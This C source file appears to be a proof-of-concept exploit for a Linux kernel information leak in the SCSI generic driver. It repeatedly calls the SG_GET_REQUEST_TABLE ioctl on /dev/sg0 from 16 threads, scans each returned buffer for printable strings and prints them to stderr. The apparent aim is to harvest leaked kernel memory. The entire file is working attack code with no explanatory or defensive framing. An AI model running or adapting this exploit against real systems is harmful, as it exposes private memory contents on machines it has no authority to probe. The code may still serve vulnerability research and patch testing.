#define _GNU_SOURCE

#include <fcntl.h>
#include <stdint.h>
#include <stdio.h>
#include <string.h>
#include <pthread.h>
#include <sys/syscall.h>
#include <sys/mman.h>
#include <unistd.h>
#include <scsi/sg.h>

pthread_mutex_t out_mutex = PTHREAD_MUTEX_INITIALIZER;

int min_strlen = 24;

void dump_buf(unsigned char *buf, int len) {
  int i, nz = 0;
  for (i = 0; i < len; i++) {
    if (buf[i]) {
      nz = 1;
      break;
    }
  }
  if (!nz) {
    // The buffer is empty.
    return;
  }
  pthread_mutex_lock(&out_mutex);
  for (i = 0; i < len; i++) {
    if (buf[i]) {
      int str_len = strlen(&buf[i]);
      // Short string pieces are too boring.
      if (str_len >= min_strlen) {
        unsigned char *c;
        for (c = &buf[i]; c < &buf[i + str_len]; c++) {
          if ((*c > 127) || ((*c < 32) && (*c != 10) && (*c != 13)))  {
            *c = ' ';
            continue;
          }
        }
        // Dump the buffer.
        fprintf(stderr, "'%s'\n", &buf[i]);
      }
      i += str_len;
    }
  }
  pthread_mutex_unlock(&out_mutex);
}

int dev;
void *do_work(void *_) {
  void *mem = mmap(0, 0x1000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
  ioctl(dev, SG_GET_REQUEST_TABLE, mem);
  dump_buf(mem, sizeof(sg_req_info_t) * SG_MAX_QUEUE);
  munmap(mem, 0x1000);
}

#define NUM_THREADS 16

int main()
{
  int i, j;
  pthread_t thr[NUM_THREADS];

  dev = open("/dev/sg0", O_RDONLY);
  if (dev == -1)
    return 1;
  for (i = 0; i < 100000; i++) {
    for (j = 0; j < NUM_THREADS; j++) {
      pthread_create(&thr[j], NULL, do_work, NULL);
    }
    for (j = 0; j < NUM_THREADS; j++) {
      pthread_join(thr[j], NULL);
    }
  }
  return 0;
}